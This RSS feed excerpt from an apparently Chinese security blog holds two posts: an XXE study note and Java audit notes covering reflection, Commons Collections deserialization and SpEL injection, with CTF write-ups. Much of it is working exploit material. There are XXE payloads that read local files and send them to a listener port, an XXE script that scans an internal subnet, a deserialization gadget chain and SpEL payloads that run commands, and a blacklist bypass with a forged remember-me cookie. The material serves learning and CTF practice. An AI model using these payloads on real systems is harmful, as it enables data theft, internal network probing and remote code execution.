</content:encoded></item><item><title>XXE复习</title><link>https://rayepeng.net/posts/xxe%E5%A4%8D%E4%B9%A0/</link><guid isPermaLink="true">https://rayepeng.net/posts/xxe%E5%A4%8D%E4%B9%A0/</guid><pubDate>Thu, 30 Jan 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;XXE&lt;/h1&gt;
&lt;h2&gt;常用payload分析&lt;/h2&gt;
&lt;p&gt;好像大家都用这个测试代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

libxml_disable_entity_loader(false);

$xmlfile = file_get_contents(&quot;php://input&quot;);
$dom = new DOMDocument();
$dom-&amp;gt;loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
var_dump($creds);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用XML发送数据：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;!DOCTYPE root[
&amp;lt;!ENTITY a SYSTEM &quot;http://localhost:8887/aaaaa&quot;&amp;gt;
]&amp;gt;
&amp;lt;root&amp;gt;&amp;amp;a;&amp;lt;/root&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是我在尝试参数实体的时候似乎不能外带数据&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;!DOCTYPE root[
&amp;lt;!ENTITY % a &quot;http://localhost:8887/aaa&quot;&amp;gt;
%a;
]&amp;gt;
&amp;lt;root&amp;gt;&amp;lt;/root&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580302730124.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;嵌套也是不行的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;
&amp;lt;!DOCTYPE message [
	&amp;lt;!ENTITY % file SYSTEM &quot;file:///flag.txt&quot;&amp;gt;  
	&amp;lt;!ENTITY % start &quot;&amp;lt;!ENTITY &amp;amp;#x25; send SYSTEM &apos;http://localhost:8887/?%file;&apos;&amp;gt;&quot;&amp;gt;
	%start;
	%send;
]&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最常用的外带数据的方法：&lt;/p&gt;
&lt;p&gt;在自己的vps上准备两个文件，我这里就就都在本机做的实验&lt;/p&gt;
&lt;p&gt;本地的8001端口开一个web服务，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580302833010-1580342074917.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;local.xml&lt;/code&gt; 文件内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!ENTITY % start &quot;&amp;lt;!ENTITY &amp;amp;#x25; send SYSTEM &apos;http://localhost:8887/?%file;&apos;&amp;gt;&quot;&amp;gt;
%start;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个文件表示读取到数据之后发送给另一个8887端口，然后我们向受害者服务器发送数据，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;
&amp;lt;!DOCTYPE message [
	&amp;lt;!ENTITY % remote SYSTEM &quot;http://localhost:8001/local.xml&quot;&amp;gt;  
	&amp;lt;!ENTITY % file SYSTEM &quot;php://filter/read=convert.base64-encode/resource=./flag.txt&quot;&amp;gt;
	%remote;
	%send;
]&amp;gt;
&amp;lt;message&amp;gt;1234&amp;lt;/message&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后就可以在8887端口接收到数据了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580302962486-1580342120888.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;换一种 &lt;code&gt;payload&lt;/code&gt; 也行&lt;/p&gt;
&lt;p&gt;DTD文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!ENTITY % file SYSTEM &quot;php://filter/read=convert.base64-encode/resource=file:///flag&quot;&amp;gt;
&amp;lt;!ENTITY % int &quot;&amp;lt;!ENTITY &amp;amp;#37; send SYSTEM &apos;http://localhost:8887/p=%file;&apos;&amp;gt;&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发送的 paylod&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;!DOCTYPE convert [ 
&amp;lt;!ENTITY % remote SYSTEM &quot;http://localhost:8001/local.xml&quot;&amp;gt;
%remote;%int;%send;
]&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;报错XXE&lt;/h2&gt;
&lt;p&gt;这个方法p牛其实早就说过了,通过三层嵌套的XML就可以达到报错&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;
&amp;lt;!DOCTYPE message [
	&amp;lt;!ELEMENT message ANY&amp;gt;
	&amp;lt;!ENTITY % para1 SYSTEM &quot;file:///flag&quot;&amp;gt;
	&amp;lt;!ENTITY % para &apos;
		&amp;lt;!ENTITY &amp;amp;#x25; para2 &quot;&amp;lt;!ENTITY &amp;amp;#x26;#x25; error SYSTEM &amp;amp;#x27;file:///&amp;amp;#x25;para1;&amp;amp;#x27;&amp;gt;&quot;&amp;gt;
		&amp;amp;#x25;para2;
	&apos;&amp;gt;
	%para;
]&amp;gt;
&amp;lt;message&amp;gt;10&amp;lt;/message&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580303152983-1580342131433.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;XXE探测内网&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;

#Origtional XML that the server accepts

#&amp;lt;xml&amp;gt;

#    &amp;lt;stuff&amp;gt;user&amp;lt;/stuff&amp;gt;

#&amp;lt;/xml&amp;gt;

def build_xml(string):
    xml = &quot;&quot;&quot;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;ISO-8859-1&quot;?&amp;gt;&quot;&quot;&quot;
    xml = xml + &quot;\r\n&quot; + &quot;&quot;&quot;&amp;lt;!DOCTYPE foo [ &amp;lt;!ELEMENT foo ANY &amp;gt;&quot;&quot;&quot;
    xml = xml + &quot;\r\n&quot; + &quot;&quot;&quot;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;&quot; + &apos;&quot;&apos; + string + &apos;&quot;&apos; + &quot;&quot;&quot;&amp;gt;]&amp;gt;&quot;&quot;&quot;
    xml = xml + &quot;\r\n&quot; + &quot;&quot;&quot;&amp;lt;xml&amp;gt;&quot;&quot;&quot;
    xml = xml + &quot;\r\n&quot; + &quot;&quot;&quot;    &amp;lt;stuff&amp;gt;&amp;amp;xxe;&amp;lt;/stuff&amp;gt;&quot;&quot;&quot;
    xml = xml + &quot;\r\n&quot; + &quot;&quot;&quot;&amp;lt;/xml&amp;gt;&quot;&quot;&quot;
    send_xml(xml)

def send_xml(xml):
    headers = {&apos;Content-Type&apos;: &apos;application/xml&apos;}
    x = requests.post(&apos;http://127.0.0.1/xml.php&apos;, data=xml, headers=headers, timeout=5).text
    coded_string = x.split(&apos; &apos;)[-2] # a little split to get only the base64 encoded value
    print coded_string
#   print base64.b64decode(coded_string)

for i in range(1, 255):
    try:
        i = str(i)
        ip = &apos;192.168.1.&apos; + i
        string = &apos;php://filter/convert.base64-encode/resource=http://&apos; + ip + &apos;/&apos;
        print string
        build_xml(string)
    except:
      print &quot;error&quot;
continue
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;实例分析&lt;/h2&gt;
&lt;h3&gt;网鼎杯2020 fileJava&lt;/h3&gt;
&lt;p&gt;用到的漏洞就是 &lt;code&gt;CVE20143529&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;复现代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;






public class CVE20143529 {
    public static void main(String[] args) throws IOException, EncryptedDocumentException, InvalidFormatException {
        Workbook wb1 = WorkbookFactory.create(new FileInputStream(&quot;test1.xlsx&quot;));
        Sheet sheet = wb1.getSheetAt(0);
        System.out.println(sheet.getLastRowNum());
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;pom.xml&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;project xmlns=&quot;http://maven.apache.org/POM/4.0.0&quot;
         xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;
         xsi:schemaLocation=&quot;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd&quot;&amp;gt;
    &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt;

    &amp;lt;groupId&amp;gt;pxyapache&amp;lt;/groupId&amp;gt;
    &amp;lt;artifactId&amp;gt;pxypxy&amp;lt;/artifactId&amp;gt;
    &amp;lt;version&amp;gt;1.0-SNAPSHOT&amp;lt;/version&amp;gt;
    &amp;lt;dependencies&amp;gt;
        &amp;lt;dependency&amp;gt;
            &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt;
            &amp;lt;artifactId&amp;gt;poi-ooxml&amp;lt;/artifactId&amp;gt;
            &amp;lt;version&amp;gt;3.10-FINAL&amp;lt;/version&amp;gt;
        &amp;lt;/dependency&amp;gt;
    &amp;lt;/dependencies&amp;gt;

&amp;lt;/project&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;利用过程：&lt;/p&gt;
&lt;p&gt;准备一个excel文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE convert [ 
&amp;lt;!ENTITY % remote SYSTEM &quot;http://localhost:8001/local.xml&quot;&amp;gt;
%remote;%int;%send;
]&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1589113834496.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;准备DTD文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!ENTITY % file SYSTEM &quot;file:///flag&quot;&amp;gt;
&amp;lt;!ENTITY % int &quot;&amp;lt;!ENTITY &amp;amp;#37; send SYSTEM &apos;http://localhost:8887/p=%file;&apos;&amp;gt;&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;会读取文件，然后将其发送到8887端口上&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1589113886930.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;监听得到的flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1589113898690.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>java审计笔记</title><link>https://rayepeng.net/posts/java%E5%AE%A1%E8%AE%A1%E7%AC%94%E8%AE%B0/</link><guid isPermaLink="true">https://rayepeng.net/posts/java%E5%AE%A1%E8%AE%A1%E7%AC%94%E8%AE%B0/</guid><pubDate>Thu, 30 Jan 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;反射相关概念&lt;/h2&gt;
&lt;p&gt;正常执行一条命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Runtime.getRuntime().exec(&quot;calc&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果通过反射来执行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Class clazz = Class.forName(&quot;java.lang.Runtime&quot;);
clazz.getMethod(&quot;exec&quot;, String.class).invoke(clazz.getMethod(&quot;getRuntime&quot;).invoke(null), &quot;calc&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Runtime&lt;/code&gt; 的构造方法是私有的，遵循单例模式，所以无法直接调用，但是可以通过调用静态方法 &lt;code&gt;getRuntime&lt;/code&gt; 来获得一个 &lt;code&gt;Runtime&lt;/code&gt; 对象，这个方法是静态的，并不需要传递类的实例进去(不然就陷入了死循环)，而调用之后返回的结果是一个 &lt;code&gt;Runtime&lt;/code&gt; 对象，作为 &lt;code&gt;exec&lt;/code&gt; 方法的第一个参数，这是因为 &lt;code&gt;exec&lt;/code&gt; 方法不是静态方法&lt;/p&gt;
&lt;p&gt;我们正常执行方法是 &lt;code&gt;[1].method([2], [3], [4]...)&lt;/code&gt; ，其实在反射里就是 &lt;code&gt;method.invoke([1], [2], [3], [4]...)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;当然如果分解开来比较好理解一点:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Class clazz = Class.forName(&quot;java.lang.Runtime&quot;);  // 加载 java.lang.Runtime类
Method method1 = clazz.getMethod(&quot;getRuntime&quot;);    //获取到getRuntime方法
Runtime runtime = (Runtime) method1.invoke(null);  //调用，得到Runtime对象(其实可以直接拿这个对象去调用exec了)
//runtime.exec(&quot;calc&quot;) 即可
Method method2 = clazz.getMethod(&quot;exec&quot;, String.class); //得到exec方法
method2.invoke(runtime, &quot;calc&quot;); //调用exec方法
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;反序列化&lt;/h2&gt;
&lt;p&gt;java的反序列化是通过&lt;code&gt;ObjectOutputStream&lt;/code&gt;和&lt;code&gt;ObjectInputStream&lt;/code&gt;两个类来实现的，同时要序列化的类必须实现&lt;code&gt;Serializable&lt;/code&gt;接口&lt;/p&gt;
&lt;p&gt;与PHP类似，Java在序列化一个对象的时候会调用&lt;code&gt;writeObject&lt;/code&gt;方法，在反序列化一个对象的时候会调用&lt;code&gt;readObject&lt;/code&gt;方法&lt;/p&gt;
&lt;h2&gt;Apache CommonsCollections反序列化&lt;/h2&gt;
&lt;p&gt;只要弄懂了反射的逻辑，那么理解 &lt;code&gt;CommonsCollections&lt;/code&gt; 的payload也就不难了,重点在构造 &lt;code&gt;transformers&lt;/code&gt; 数组的时候&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class), 
        new InvokerTransformer(&quot;getMethod&quot;, new Class[]{
                String.class, Class[].class}, new Object[]{
                &quot;getRuntime&quot;,null}),
        new InvokerTransformer(&quot;invoke&quot;, new Class[]{
                Object.class, Object[].class}, new Object[]{null,new Object[0]}),
        new InvokerTransformer(&quot;exec&quot;, new Class[]{
                String.class}, new Object[]{&quot;calc&quot;})};

Transformer transformedChain = new ChainedTransformer(transformers);
transformedChain.transform(transformers);  //触发
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;transformers&lt;/code&gt; 数组中的每一个对象都会调用一次 &lt;code&gt;transform&lt;/code&gt; 函数，&lt;code&gt;ConstantTransformer&lt;/code&gt; 直接返回了 &lt;code&gt;Runtime.class&lt;/code&gt; 作为下一个 &lt;code&gt;transform&lt;/code&gt; 的参数 等价于&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Class clazz = Class.forName(&quot;java.lang.Runtime&quot;);  // 加载 java.lang.Runtime类
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后 &lt;code&gt;InvokerTransformer&lt;/code&gt; 的 &lt;code&gt;transform&lt;/code&gt; 接收传过来的 &lt;code&gt;Runtime.class&lt;/code&gt; 去调用其 &lt;code&gt;getMethod&lt;/code&gt;方法，等价于&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Method method1 = clazz.getMethod(&quot;getRuntime&quot;);    //获取到getRuntime方法
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;返回了一个 &lt;code&gt;Method&lt;/code&gt;类型的作为下一次 &lt;code&gt;transform&lt;/code&gt; 的参数，之后的过程就是分别调用 &lt;code&gt;invoke&lt;/code&gt; 和 &lt;code&gt;exec&lt;/code&gt; 方法，等价于&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Runtime runtime = (Runtime) method1.invoke(null);  //调用，得到Runtime对象(其实可以直接拿这个对象去调用exec了)
runtime.exec(&quot;calc&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于 &lt;code&gt;getRuntime&lt;/code&gt; 方法是静态的， &lt;code&gt;invoke&lt;/code&gt; 的时候第一个参数不必是类的实例，之后由于已经获取到了 &lt;code&gt;Runtime&lt;/code&gt; 的实例就不再需要通过反射去获得 &lt;code&gt;exec&lt;/code&gt; 方法再 &lt;code&gt;invoke&lt;/code&gt; 了，省去了一点麻烦的步骤&lt;/p&gt;
&lt;p&gt;&lt;code&gt;getMethod&lt;/code&gt; 和 &lt;code&gt;invoke&lt;/code&gt; 方法的原型，所以我们在反射的时候也需要指定这些参数的class&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public Method getMethod(String name, Class&amp;lt;?&amp;gt;... parameterTypes)
public Object invoke(Object obj, Object... args)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是实际上我们在调用 &lt;code&gt;getMethod&lt;/code&gt; 的时候，只需要指定第一个参数为 &lt;code&gt;getRuntime&lt;/code&gt; 即可，那么第二个参数我们可以设为 null 或者 &lt;code&gt;new Class[0]&lt;/code&gt; ，同理， invoke 方法这里不需要指定参数可以将两个参数都设置为 null&lt;/p&gt;
&lt;p&gt;理解一下 &lt;code&gt;collections.map.TransformedMap&lt;/code&gt; 这个类，提供了一个 &lt;code&gt;decorateTransform&lt;/code&gt; 方法，可以将普通的map转化为 &lt;code&gt;TransformedMap&lt;/code&gt; ，这个函数的原型&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第二个和第三个参数都是 &lt;code&gt;Transformer&lt;/code&gt; 类型的，也就是每次更新map的时候，比如对map执行 put操作的时候&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public Object put(Object key, Object value) {
    key = transformKey(key);
    value = transformValue(value);
    return getMap().put(key, value);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;会针对 key 和 value 执行 transform 操作&lt;/p&gt;
&lt;p&gt;结合之前的 payload, 我们可以编写这个代码弹出计算器&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class Test {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer(&quot;getMethod&quot;, new Class[] {
                        String.class, Class[].class}, new Object[] {
                        &quot;getRuntime&quot;, new Class[0]}),
                new InvokerTransformer(&quot;invoke&quot;, new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, null }),
                new InvokerTransformer(&quot;exec&quot;, new Class[] {
                        String.class }, new Object[] {&quot;calc.exe&quot;})};
        Transformer transformedChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap(); 
        Map outMap = TransformedMap.decorate(innerMap, null, transformedChain); //转变为 TransformedMap 操作
        outMap.put(&quot;key&quot;, &quot;value&quot;);//触发payload
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是网上给的payload都是针对 &lt;code&gt;setValue&lt;/code&gt; 方法触发的payload，这是怎么找到的&lt;/p&gt;
&lt;p&gt;经过调试我发现 &lt;code&gt;AbstractMapEntryDecorator&lt;/code&gt; 实现了 &lt;code&gt;Map&lt;/code&gt;，其中的 &lt;code&gt;setValue&lt;/code&gt; 是这么写的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public Object setValue(Object object) {
    return entry.setValue(object);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个方法之后又被 &lt;code&gt;AbstractInputCheckedMapDecorator&lt;/code&gt; 的内部 &lt;code&gt;MapEntry&lt;/code&gt; 类重写&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public Object setValue(Object value) {
    value = parent.checkSetValue(value); //多了一次 checkSetValue 操作
    return entry.setValue(value);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个多出来的 &lt;code&gt;checkSetValue&lt;/code&gt; 方法又是 &lt;code&gt;AbstractInputCheckedMapDecorator&lt;/code&gt; 的，而 &lt;code&gt;TransformedMap&lt;/code&gt; 正是重写了这个方法&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580461320232.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;所以实际上是的结果是调用了 &lt;code&gt;TransformedMap&lt;/code&gt; 的 &lt;code&gt;checkSetValue&lt;/code&gt; 方法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样就能触发payload了&lt;/p&gt;
&lt;p&gt;之后寻找能够触发 &lt;code&gt;setValue&lt;/code&gt; 方法的类，这里利用了 &lt;code&gt;AnnotationInvocationHandler&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;不过这里只有jdk7才能运行，我开始用的jdk8不能成功&lt;/p&gt;
&lt;p&gt;最后的测试代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package com.alibaba.dubbo.demo;
























/**
 * @description: 测试
 * @author: Pxy
 * @create: 2020-01-31 16:21
 **/
public class Test {
        public static void main(String[] args) throws Exception {
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer(&quot;getMethod&quot;, new Class[] {
                            String.class, Class[].class}, new Object[] {
                            &quot;getRuntime&quot;, new Class[0]}),
                    new InvokerTransformer(&quot;invoke&quot;, new Class[] {
                            Object.class, Object[].class }, new Object[] {
                            null, new Object[0]}),
                    new InvokerTransformer(&quot;exec&quot;, new Class[] {
                            String.class }, new Object[] {&quot;calc.exe&quot;})};
            Transformer transformedChain = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            innerMap.put(&quot;key&quot;, &quot;value&quot;);
            Map outMap = TransformedMap.decorate(innerMap, null, transformedChain);
    
            Class clazz = Class.forName(&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;);
            Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
            ctor.setAccessible(true);
            Object instance = ctor.newInstance(Retention.class, outMap);
            File f = new File(&quot;payload.bin&quot;);
            ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
            out.writeObject(instance);
            out.flush();
            out.close();

            ObjectInputStream input = new ObjectInputStream(new FileInputStream(&quot;payload.bin&quot;));
            input.readObject();
            input.close();

        }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先断在这个 &lt;code&gt;AnnotationInvocationHandler&lt;/code&gt; 类中&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580469219896.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后触发 &lt;code&gt;checkSetValue&lt;/code&gt; 方法&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580469249634.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后成功弹出计算器&lt;/p&gt;
&lt;h2&gt;SPEL表达式注入&lt;/h2&gt;
&lt;p&gt;类似于 jinja 表达式，不过更为强大&lt;/p&gt;
&lt;p&gt;编写一个接口进行测试：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@GetMapping(&quot;/spel&quot;)
public String spel(String input) throws  Exception{
    SpelExpressionParser parser = new SpelExpressionParser();
    Expression expression = (Expression)parser.parseExpression(input);
    return expression.getValue().toString();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问 &lt;code&gt;/spel?input=new java.lang.ProcessBuilder(&quot;calc&quot;).start()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580468482834.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;code-breaking javacon&lt;/h2&gt;
&lt;p&gt;这道题并不算难，结合了java反射和spel表达式注入&lt;/p&gt;
&lt;p&gt;一个spring框架写的登陆界面，用户名和密码都是admin，有一个remember me可以勾选&lt;/p&gt;
&lt;p&gt;&lt;code&gt;application.yml&lt;/code&gt;中有一些相关的设置&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;keywords:
  blacklist: 
    - java.+lang
    - Runtime
    - exec.*\(
user:
  username: admin
  password: admin
  rememberMeKey: c0dehack1nghere1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有一个黑名单过滤了一些字符，不过可以很容易地用字符串拼接进行绕过&lt;/p&gt;
&lt;p&gt;仔细分析代码，其中有存在一处类似模板渲染的语句&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ParserContext parserContext = new TemplateParserContext();
Expression exp = parser.parseExpression(val, parserContext);
SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
return exp.getValue(evaluationContext).toString();
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Spring Expression Language（简称SpEL）是一种强大的表达式语言，支持在运行时查询和操作对象图。语言语法类似于Unified EL，但提供了额外的功能，特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的，所以允许将其集成到其他应用程序和框架中。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这一处位于&lt;code&gt;getAdvanceValue&lt;/code&gt;函数中，调用它的是这里：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@GetMapping
public String admin(@CookieValue(value = &quot;remember-me&quot;, required = false) String rememberMeValue,
                    HttpSession session,
                    Model model) {
    if (rememberMeValue != null &amp;amp;&amp;amp; !rememberMeValue.equals(&quot;&quot;)) {
        String username = userConfig.decryptRememberMe(rememberMeValue);
        if (username != null) {
            session.setAttribute(&quot;username&quot;, username);
        }
    }

    Object username = session.getAttribute(&quot;username&quot;);
    if(username == null || username.toString().equals(&quot;&quot;)) {
        return &quot;redirect:/login&quot;;
    }

    model.addAttribute(&quot;name&quot;, getAdvanceValue(username.toString()));
    return &quot;hello&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里相当于是admin的管理界面，首先会检查&lt;code&gt;rememberMeValue&lt;/code&gt;的值，并且尝试去解密其中的用户名，同时加入到&lt;code&gt;session&lt;/code&gt;中，之后执行&lt;code&gt;model.addAttribute(&quot;name&quot;, getAdvanceValue(username.toString()));&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;那么这里的关键就是&lt;code&gt;cookie&lt;/code&gt;中的rememberMeValue，由于我们已经知道了加密的算法和密钥(代码都是直接给的)，那么就可以通过伪造&lt;code&gt;rememberMeValue&lt;/code&gt;来达到rce&lt;/p&gt;
&lt;p&gt;首先需要一条java的反射链，因为要绕过一些关键字：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;String.class.getClass().forName(&quot;java.l&quot;+&quot;ang.Ru&quot;+&quot;ntime&quot;).getMethod(&quot;ex&quot;+&quot;ec&quot;,String.class).invoke(String.class.getClass().forName(&quot;java.l&quot;+&quot;ang.Ru&quot;+&quot;ntime&quot;).getMethod(&quot;getRu&quot;+&quot;ntime&quot;).invoke(String.class.getClass().forName(&quot;java.l&quot;+&quot;ang.Ru&quot;+&quot;ntime&quot;)),&quot;calc&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后要将其构造成Spel表达式，就是增加一个&lt;code&gt;T()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;先本地测试弹一个计算器&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;System.out.println(Encryptor.encrypt(&quot;c0dehack1nghere1&quot;, &quot;0123456789abcdef&quot;, &quot;#{T(String).getClass().forName(\&quot;java.l\&quot;+\&quot;ang.Ru\&quot;+\&quot;ntime\&quot;).getMethod(\&quot;ex\&quot;+\&quot;ec\&quot;,T(String[])).invoke(T(String).getClass().forName(\&quot;java.l\&quot;+\&quot;ang.Ru\&quot;+\&quot;ntime\&quot;).getMethod(\&quot;getRu\&quot;+\&quot;ntime\&quot;).invoke(T(String).getClass().forName(\&quot;java.l\&quot;+\&quot;ang.Ru\&quot;+\&quot;ntime\&quot;)),new String[]{\&quot;calc\&quot;})}&quot;)); //注意java的字符串必须是双引号
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;生成payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bvik1nAmjEAllRdn5UKWGC9uCj0hW0P2B6k1uigkS1acKxD9b_xNi-x09UGgjU1DvDEI2GGk4Jn0ApM_cSVc0G7kGnvvtewNRVsfqFUCR0fMAPqbj6yqACW6XVtt8Fp1nBwebKd7pkYSZCv6Yj3X7H-0-8HDV6F3sS3yWHUQEBPAyiNmKfkSKUV5VVlNdo16Nij8YX8HvKdeMHJ7_5Sdjfmfq3dKPeUOivMyVp_GdEkffgly4YX4eWCOzQRr4uQgodsKw2pC9N9udnw3Fz7O5ZhzmoYttjLubBowMtkF-Q6HHCvBrK9SWCzRQXC6jqYX_XeqyZuDreUixnpXpzlN9Gj_AWy8DB8Dxea8atf2wr8=
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后登陆再替换掉cookie&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1573973547431-1580346732870.png&quot; alt=&quot;结果&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;fastjson 反序列化(仅复现)&lt;/h2&gt;
